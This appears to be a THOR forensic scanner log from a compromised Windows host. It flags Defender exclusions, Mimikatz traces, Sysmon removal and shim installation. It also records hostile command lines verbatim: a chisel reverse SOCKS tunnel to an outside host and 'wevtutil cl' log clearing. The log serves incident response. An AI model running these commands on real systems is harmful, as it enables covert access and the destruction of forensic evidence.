Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {FC931F16-B50A-472E-B061-B6F79A71EF59} PATH: \Microsoft\Windows\Customer Experience Improvement Program\Consolidator VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 15:00:01 2024 LAST_STOPPED: Tue Sep  3 15:00:01 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {FE3DCB27-078C-412B-92EF-7D2217F0AEE5} PATH: \Microsoft\Windows\Workplace Join\Device-Sync VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {FE478BF7-B323-4809-A1C0-0019EAAD3FB8} PATH: \Microsoft\Windows\Storage Tiers Management\Storage Tiers Optimization VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Found task location in registry hive SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE TASKPATH: ROOT\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks TASKS: 0
Sep 10 12:44:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: RegistryHive MESSAGE: Suspicious registry hive entries found SCANID: S-BxzYg1khKSI ENTRY: ROOT\Microsoft\Windows Defender\Exclusions\Paths;C:\Windows\SysWOW64\;0 SCORE: 70 PATH: E:\Windows\System32\config\SOFTWARE KEY: ROOT\Microsoft\Windows Defender\Exclusions\Paths MODIFIED: Tue Sep  3 09:12:08 2024 REASON_1: YARA rule SUSP_Microsoft_Defender_Exclusions_Paths_Sep22 / Detects suspicious Microsoft Defender exclusions that should be reviewed SUBSCORE_1: 70 REF_1: https://www.securonix.com/blog/detecting-steepmaverick-new-covert-attack-campaign-targeting-military-contractors/ SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "\\Microsoft\\Windows Defender\\Exclusions\\Paths;C:\\Windows\\" RULEDATE_1: 2022-09-29 TAGS_1: REG, SUSP, T1112 RULENAME_1: SUSP_Microsoft_Defender_Exclusions_Paths_Sep22 AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 12:44:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE.LOG1
Sep 10 12:45:04 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE.LOG2
Sep 10 12:45:07 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SYSTEM
Sep 10 12:45:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: SHIMCache MESSAGE: Analyzing SHIM Cache SCANID: S-BxzYg1khKSI PATH: E:\Windows\System32\config\SYSTEM HIVE: ROOT\ControlSet001\Control\Session Manager\AppCompatCache ENTRIES: 756
Sep 10 12:53:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: RegistryHive MESSAGE: Suspicious registry hive entries found SCANID: S-BxzYg1khKSI ENTRY: ROOT\ControlSet001\Services\telemetryservice\Parameters;Application;C:\Windows\SysWOW64\chisel.exe SCORE: 75 PATH: E:\Windows\System32\config\SYSTEM KEY: ROOT\ControlSet001\Services\telemetryservice\Parameters MODIFIED: Tue Sep  3 09:37:17 2024 REASON_1: Filename IOC \chisel.exe SUBSCORE_1: 75 REF_1: Lorenz Ransomware IOCs https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/ SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \chisel.exe REASONS_COUNT: 1 FILE_1: C:\Windows\SysWOW64\chisel.exe EXISTS_1: no
Sep 10 12:53:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 70 FILE: E:\Windows\System32\config\SYSTEM EXT:  TYPE: Registry Hive SIZE: 14680064 MD5: 4761f82608b1ad57d987acca595d4a3a SHA1: e0223a5176413db267c81c2099918f8af7621b89 SHA256: 5d35ed7b0e125185d083a283403e4df8417f41f6d040b0d84a13fb41ca317232 FIRSTBYTES: 7265676623500000225000000000000000000000 / regf#P"P CREATED: Sat May  7 05:17:22.616 2022 MODIFIED: Tue Sep  3 08:59:48.291 2024 ACCESSED: Tue Sep  3 08:59:48.291 2024 PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F OWNER: NT AUTHORITY\SYSTEM REASON_1: YARA rule HKTL_Mimikatz_Mimilib_DNS / Detects Mimilib DNS Method SUBSCORE_1: 70 REF_1: https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kdns.c SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "kiwidns.log" in "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x008V\x06\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00k\x00i\x00w\x00i\x00d\x00n\x00s\x00.\x00l\x00o\x00g\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" at 0x599a24 RULEDATE_1: 2019-04-29 TAGS_1: HKTL, S0002, T1003, T1134_005, T1550_002, T1550_003 RULENAME_1: HKTL_Mimikatz_Mimilib_DNS AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 12:53:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SYSTEM.LOG1
Sep 10 12:53:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SYSTEM.LOG2
Sep 10 12:53:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 70 FILE: E:\Windows\System32\config\SYSTEM.LOG2 EXT: .LOG2 TYPE: Registry Hive SIZE: 2056192 MD5: e2425eb64f068dfb1b16f9aee3d8e327 SHA1: d19fe149f895eaf4d74d113b36e8ff5de9c03be4 SHA256: 775721969a974113f77a3a01edc25967ce38bd3a159fbf0f5094a7237977fdfe FIRSTBYTES: 72656766ed500000ed5000000000000000000000 / regfPP CREATED: Sat May  7 05:17:22.663 2022 MODIFIED: Sat May  7 05:17:22.663 2022 ACCESSED: Sat May  7 05:17:22.663 2022 PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F OWNER: NT AUTHORITY\SYSTEM REASON_1: YARA rule HKTL_Mimikatz_Mimilib_DNS / Detects Mimilib DNS Method SUBSCORE_1: 70 REF_1: https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kdns.c SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "kiwidns.log" in "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x008V\x06\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00k\x00i\x00w\x00i\x00d\x00n\x00s\x00.\x00l\x00o\x00g\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" at 0x78cfc RULEDATE_1: 2019-04-29 TAGS_1: HKTL, S0002, T1003, T1134_005, T1550_002, T1550_003 RULENAME_1: HKTL_Mimikatz_Mimilib_DNS AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 12:55:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: WMIPersistence MESSAGE: Checking file for WMI persistence SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\wbem\Repository\OBJECTS.DATA
Sep 10 12:55:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: WMIPersistence MESSAGE: Couldn't find any ActiveScriptEventConsumers SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\wbem\Repository\OBJECTS.DATA
Sep 10 12:55:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: WMIPersistence MESSAGE: WMI info SCANID: S-BxzYg1khKSI KEY: Binding 0 FILTERTYPE: NTEventLogEventConsumer EVENTFILTERNAME: SCM Event Log Filter EVENTCONSUMERNAME: SCM Event Log Consumer EVENTFILTER: select * from MSFT_SCMEventLogEvent EVENTCONSUMER: 
Sep 10 12:55:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Suspicious eventlog entry found SCANID: S-BxzYg1khKSI ENTRY: Data: [C:\Windows\SysWOW64\chisel.exe client sharepoint-content.com:1337 R:socks telemetryservice C:\Windows\SysWOW64]  Provider_Name: nssm  EventID_Qualifiers: 16384  EventID_Value: 1008  Version: 0  Level: 4  Task: 0  Opcode: 0  Keywords: 36028797018963968  TimeCreated_SystemTime: 1.7253563323225088e+09  EventRecordID: 3978  Execution_ProcessID: 7500  Execution_ThreadID: 0  Channel: Application  Computer: pc01243.MercuryLark.corp   SCORE: 75 FILE: E:\Windows\System32\winevt\Logs\Application.evtx EVENT_ID: 1008 EVENT_LEVEL: 4 EVENT_CHANNEL: Application EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 09:38:52 2024 REASON_1: Filename IOC \chisel.exe SUBSCORE_1: 75 REF_1: Lorenz Ransomware IOCs https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/ SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \chisel.exe REASONS_COUNT: 1 FILE_1: C:\Windows\SysWOW64\chisel.exe EXISTS_1: no FILE_2: E:\Windows\System32\winevt\Logs\Application.evtx EXISTS_2: yes TYPE_2: EVTX SIZE_2: 2166784 MD5_2: 820da80712b3d0a285257c06f26aed2a SHA1_2: 46af6539f67d8b33dd0f3832e6657bd3349f3fd2 SHA256_2: b510b6765203a340a542fa7a47df5e9ce1fe67ad0fd0abdbce6d9573d87d10a3 FIRSTBYTES_2: 456c6646696c6500000000000000000018000000 / ElfFile CREATED_2: Tue Jun  4 02:25:39.557 2024 OWNER_2: NT AUTHORITY\LOCAL SERVICE
Sep 10 12:56:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx EVENT_ID: 1 EVENT_LEVEL: 4 EVENT_CHANNEL: Microsoft-Windows-Sysmon/Operational EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 09:15:57 2024 ENTRY: RuleName: -  UtcTime: 2024-09-03 09:15:57.276  ProcessGuid: 553FCD21-D3CD-66D6-D001-000000001100  ProcessId: 7672  Image: C:\Windows\SysWOW64\wevtutil.exe  FileVersion: 10.0.22621.3085 (WinBuild.160101.0800)  Description: Windows Event Log Utility  Product: Microsoft® Windows® Operating System  Company: Microsoft Corporation  OriginalFileName: wevtutil.exe  CommandLine: wevtutil  cl Microsoft-Windows-Sysmon/Operational  CurrentDirectory: C:\Windows\SysWOW64\  User: NT AUTHORITY\SYSTEM  LogonGuid: 553FCD21-D016-66D6-E703-000000000000  LogonId: 999  TerminalSessionId: 2  IntegrityLevel: System  Hashes: SHA1=EE7A5D82EBB06922541C35146508FE2634D5E9C6,MD5=82B7D34D7CF8AA479E68D20A7F995807,SHA256=0A90284CE5FD716B5A03307F69E3D50C7A99C4C2489C077DA27097CB35FA58A7,IMPHASH=9DC44599DBFD289FD6D31560E274272B  ParentProcessGuid: 553FCD21-D3CD-66D6-CE01-000000001100  ParentProcessId: 2052  ParentImage: C:\Windows\SysWOW64\cmd.exe  ParentCommandLine: cmd.exe /S /c wevtutil cl Microsoft-Windows-Sysmon/Operational  ParentUser: NT AUTHORITY\SYSTEM  Provider_Name: Microsoft-Windows-Sysmon  Provider_Guid: 5770385F-C22A-43E0-BF4C-06F5698FFBD9  EventID: 1  Version: 5  Level: 4  Task: 1  Opcode: 0  Keywords: 9223372036854775808  TimeCreated_SystemTime: 1.7253549572866256e+09  EventRecordID: 6416116  Execution_ProcessID: 3376  Execution_ThreadID: 4616  Channel: Microsoft-Windows-Sysmon/Operational  Computer: pc01243.MercuryLark.corp  Security_UserID: S-1-5-18   SCORE: 70 REASON_1: Suspicious Eventlog Clear or Configuration Change SUBSCORE_1: 70 REF_1: https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md, https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil, https://gist.github.com/fovtran/ac0624983c7722e80a8f5a4babb170ee, https://jdhnet.wordpress.com/2017/12/19/changing-the-location-of-the-windows-event-logs/ SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "\\wevtutil.exe" in Image Str2: " cl " in "wevtutil  cl Microsoft-Windows-Sysmon/Operational" in CommandLine RULEDATE_1: 2023/07/13 DESCRIPTION_1: Detects clearing or configuration of eventlogs using wevtutil, powershell and wmic. Might be used by ransomwares during the attack (seen by NotPetya and others). AUTHOR_1: Ecco, Daniil Yugoslavskiy, oscd.community, D3F7A5105 ID_1: cc36992a-4671-4f21-a91d-6c2b72a2edf5 FALSEPOSITIVES_1: Admin activity, Scripts and administrative tools used in the monitored environment, Maintenance activity REASONS_COUNT: 1
Sep 10 12:56:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx EVENT_ID: 1 EVENT_LEVEL: 4 EVENT_CHANNEL: Microsoft-Windows-Sysmon/Operational EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 09:17:39 2024 ENTRY: RuleName: -  UtcTime: 2024-09-03 09:17:39.550  ProcessGuid: 553FCD21-D433-66D6-D701-000000001100  ProcessId: 8136  Image: C:\Program Files\Sysmon\Sysmon64.exe  FileVersion: 15.14  Description: System activity monitor  Product: Sysinternals Sysmon  Company: Sysinternals - www.sysinternals.com  OriginalFileName: -  CommandLine: "C:\Program Files\Sysmon\Sysmon64.exe"  -u  CurrentDirectory: C:\Windows\SysWOW64\  User: NT AUTHORITY\SYSTEM  LogonGuid: 553FCD21-D016-66D6-E703-000000000000  LogonId: 999  TerminalSessionId: 2  IntegrityLevel: System  Hashes: SHA1=2F707CC7A635CA9824EBE825ADE3BAA77BC5874C,MD5=99C68A0A2EE8E42EBB52E1C84F80B730,SHA256=39B094613132377BC236F4AD940A3E02C544F86347C0179A9425EDC1BD3B85CD,IMPHASH=A039666F8D08DD16E0909469DA998438  ParentProcessGuid: 553FCD21-D433-66D6-D601-000000001100  ParentProcessId: 9620  ParentImage: C:\Windows\SysWOW64\cmd.exe  ParentCommandLine: cmd  /c "C:\Program Files\Sysmon\Sysmon64.exe" -u  ParentUser: NT AUTHORITY\SYSTEM  Provider_Name: Microsoft-Windows-Sysmon  Provider_Guid: 5770385F-C22A-43E0-BF4C-06F5698FFBD9  EventID: 1  Version: 5  Level: 4  Task: 1  Opcode: 0  Keywords: 9223372036854775808  TimeCreated_SystemTime: 1.7253550596455505e+09  EventRecordID: 6416508  Execution_ProcessID: 3376  Execution_ThreadID: 4616  Channel: Microsoft-Windows-Sysmon/Operational  Computer: pc01243.MercuryLark.corp  Security_UserID: S-1-5-18   SCORE: 70 REASON_1: Uninstall Sysinternals Sysmon SUBSCORE_1: 70 REF_1: https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-11---uninstall-sysmon SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "\\Sysmon64.exe" in Image Str2: "System activity monitor" in Description Str3: "-u" in CommandLine RULEDATE_1: 2023/03/09 DESCRIPTION_1: Detects the removal of Sysmon, which could be a potential attempt at defense evasion AUTHOR_1: frack113 ID_1: 6a5f68d1-c4b5-46b9-94ee-5324892ea939 FALSEPOSITIVES_1: Legitimate administrators might use this command to remove Sysmon for debugging purposes REASONS_COUNT: 1
Sep 10 12:56:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx EVENT_ID: 4 EVENT_LEVEL: 4 EVENT_CHANNEL: Microsoft-Windows-Sysmon/Operational EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 09:17:39 2024 ENTRY: UtcTime: 2024-09-03 09:17:39.767  State: Stopped  Version: 15.14  SchemaVersion: 4.90  Provider_Name: Microsoft-Windows-Sysmon  Provider_Guid: 5770385F-C22A-43E0-BF4C-06F5698FFBD9  EventID: 4  Version: 3  Level: 4  Task: 4  Opcode: 0  Keywords: 9223372036854775808  TimeCreated_SystemTime: 1.7253550597754016e+09  EventRecordID: 6416509  Execution_ProcessID: 3376  Execution_ThreadID: 4620  Channel: Microsoft-Windows-Sysmon/Operational  Computer: pc01243.MercuryLark.corp  Security_UserID: S-1-5-18   SCORE: 70 REASON_1: Sysmon Configuration Modification SUBSCORE_1: 70 REF_1: https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md, https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "Stopped" in State RULEDATE_1: 2022/08/02 DESCRIPTION_1: Detects when an attacker tries to hide from Sysmon by disabling or stopping it AUTHOR_1: frack113 ID_1: 1f2b5353-573f-4880-8e33-7d04dcf97744 FALSEPOSITIVES_1: Legitimate administrative action REASONS_COUNT: 1
Sep 10 12:56:59 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Defender%4Operational.evtx EVENT_ID: 5001 EVENT_LEVEL: 4 EVENT_CHANNEL: Microsoft-Windows-Windows Defender/Operational EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 09:12:50 2024 ENTRY: ProductName: Microsoft Defender Antivirus  ProductVersion: 4.18.24070.5  Provider_Name: Microsoft-Windows-Windows Defender  Provider_Guid: 11CD958A-C507-4EF3-B3F2-5FD9DFBD2C78  EventID: 5001  Version: 0  Level: 4  Task: 0  Opcode: 0  Keywords: 9223372036854775808  TimeCreated_SystemTime: 1.7253547705231264e+09  EventRecordID: 3169  Execution_ProcessID: 3516  Execution_ThreadID: 3448  Channel: Microsoft-Windows-Windows Defender/Operational  Computer: pc01243.MercuryLark.corp  Security_UserID: S-1-5-18   SCORE: 70 REASON_1: Windows Defender Threat Detection Disabled SUBSCORE_1: 70 REF_1: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "5001" in EventID RULEDATE_1: 2022/12/06 DESCRIPTION_1: Detects disabling Windows Defender threat protection AUTHOR_1: Ján Trenčanský, frack113 ID_1: fe34868f-6e0e-4882-81f6-c43aa8f15b62 FALSEPOSITIVES_1: Administrator actions (should be investigated), Seen being triggered occasionally during Windows 8 Defender Updates REASONS_COUNT: 1
Sep 10 12:57:02 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: EVTX MESSAGE: Evil Event ID SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\Security.evtx EVENT_ID: 1102 EVENT_LEVEL: 4 EVENT_CHANNEL: Security EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 10:11:04 2024 DESC: Security Log deleted ENTRY: SubjectUserSid: S-1-5-18  SubjectUserName: SYSTEM  SubjectDomainName: NT AUTHORITY  SubjectLogonId: 999  ClientProcessId: 2040  ClientProcessStartKey: 4785074604081773  Provider_Name: Microsoft-Windows-Eventlog  Provider_Guid: {fc65ddd8-d6ef-4962-83d5-6e5cfe9ce148}  EventID: 1102  Version: 1  Level: 4  Task: 104  Opcode: 0  Keywords: 4620693217682128896  TimeCreated_SystemTime: 1.7253582649479408e+09  EventRecordID: 143904  Execution_ProcessID: 2160  Execution_ThreadID: 8740  Channel: Security  Computer: pc01243.MercuryLark.corp   SCORE: 50
Sep 10 12:57:02 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\Security.evtx EVENT_ID: 1102 EVENT_LEVEL: 4 EVENT_CHANNEL: Security EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 10:11:04 2024 ENTRY: SubjectUserSid: S-1-5-18  SubjectUserName: SYSTEM  SubjectDomainName: NT AUTHORITY  SubjectLogonId: 999  ClientProcessId: 2040  ClientProcessStartKey: 4785074604081773  Provider_Name: Microsoft-Windows-Eventlog  Provider_Guid: {fc65ddd8-d6ef-4962-83d5-6e5cfe9ce148}  EventID: 1102  Version: 1  Level: 4  Task: 104  Opcode: 0  Keywords: 4620693217682128896  TimeCreated_SystemTime: 1.7253582649479408e+09  EventRecordID: 143904  Execution_ProcessID: 2160  Execution_ThreadID: 8740  Channel: Security  Computer: pc01243.MercuryLark.corp   SCORE: 70 REASON_1: Security Eventlog Cleared SUBSCORE_1: 70 REF_1: https://twitter.com/deviouspolack/status/832535435960209408, https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100 SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "Microsoft-Windows-Eventlog" in Provider_Name Str2: "1102" in EventID RULEDATE_1: 2022/02/24 DESCRIPTION_1: One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution AUTHOR_1: Florian Roth (Nextron Systems) ID_1: d99b79d2-0a6f-4f46-ad8b-260b6e17f982 FALSEPOSITIVES_1: Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog), System provisioning (system reset before the golden image creation) REASONS_COUNT: 1
Sep 10 12:57:02 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\Security.evtx EVENT_ID: 4688 EVENT_LEVEL: 0 EVENT_CHANNEL: Security EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 10:11:04 2024 ENTRY: SubjectUserSid: S-1-5-18  SubjectUserName: PC01243$  SubjectDomainName: MERCURYLARK  SubjectLogonId: 999  NewProcessId: 2040  NewProcessName: C:\Windows\SysWOW64\wevtutil.exe  TokenElevationType: %%1936  ProcessId: 3952  CommandLine: wevtutil  cl Security  TargetUserSid: S-1-0-0  TargetUserName: -  TargetDomainName: -  TargetLogonId: 0  ParentProcessName: C:\Windows\SysWOW64\cmd.exe  MandatoryLabel: S-1-16-16384  Provider_Name: Microsoft-Windows-Security-Auditing  Provider_Guid: 54849625-5478-4994-A5BA-3E3B0328C30D  EventID: 4688  Version: 2  Level: 0  Task: 13312  Opcode: 0  Keywords: 9232379236109516800  TimeCreated_SystemTime: 1.725358264880416e+09  EventRecordID: 143907  Execution_ProcessID: 4  Execution_ThreadID: 2784  Channel: Security  Computer: pc01243.MercuryLark.corp   SCORE: 70 REASON_1: Suspicious Eventlog Clear or Configuration Change SUBSCORE_1: 70 REF_1: https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md, https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil, https://gist.github.com/fovtran/ac0624983c7722e80a8f5a4babb170ee, https://jdhnet.wordpress.com/2017/12/19/changing-the-location-of-the-windows-event-logs/ SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "\\wevtutil.exe" in NewProcessName Str2: " cl " in "wevtutil  cl Security" in CommandLine RULEDATE_1: 2023/07/13 DESCRIPTION_1: Detects clearing or configuration of eventlogs using wevtutil, powershell and wmic. Might be used by ransomwares during the attack (seen by NotPetya and others). AUTHOR_1: Ecco, Daniil Yugoslavskiy, oscd.community, D3F7A5105 ID_1: cc36992a-4671-4f21-a91d-6c2b72a2edf5 FALSEPOSITIVES_1: Admin activity, Scripts and administrative tools used in the monitored environment, Maintenance activity REASONS_COUNT: 1
Sep 10 12:57:02 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: EVTX MESSAGE: Sigma match on eventlog entry SCANID: S-BxzYg1khKSI FILE: E:\Windows\System32\winevt\Logs\Security.evtx EVENT_ID: 4688 EVENT_LEVEL: 0 EVENT_CHANNEL: Security EVENT_COMPUTER: pc01243.MercuryLark.corp EVENT_TIME: Tue Sep  3 11:01:59 2024 ENTRY: SubjectUserSid: S-1-5-18  SubjectUserName: PC01243$  SubjectDomainName: MERCURYLARK  SubjectLogonId: 999  NewProcessId: 9328  NewProcessName: C:\Windows\System32\sdbinst.exe  TokenElevationType: %%1936  ProcessId: 5032  CommandLine: C:\Windows\System32\sdbinst.exe -m -bg  TargetUserSid: S-1-0-0  TargetUserName: -  TargetDomainName: -  TargetLogonId: 0  ParentProcessName: C:\Windows\System32\svchost.exe  MandatoryLabel: S-1-16-16384  Provider_Name: Microsoft-Windows-Security-Auditing  Provider_Guid: 54849625-5478-4994-A5BA-3E3B0328C30D  EventID: 4688  Version: 2  Level: 0  Task: 13312  Opcode: 0  Keywords: 9232379236109516800  TimeCreated_SystemTime: 1.7253613194657888e+09  EventRecordID: 144034  Execution_ProcessID: 4  Execution_ThreadID: 4460  Channel: Security  Computer: pc01243.MercuryLark.corp   SCORE: 70 REASON_1: Suspicious Shim Database Installation via Sdbinst.EXE SUBSCORE_1: 70 REF_1: https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html SIGTYPE_1: internal SIGCLASS_1: Sigma Rule MATCHED_1: Str1: "\\sdbinst.exe" in NewProcessName RULEDATE_1: 2023/08/01 DESCRIPTION_1: Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims  AUTHOR_1: Nasreddine Bencherchali (Nextron Systems) ID_1: 18ee686c-38a3-4f65-9f44-48a077141f42 FALSEPOSITIVES_1: Unknown REASONS_COUNT: 1
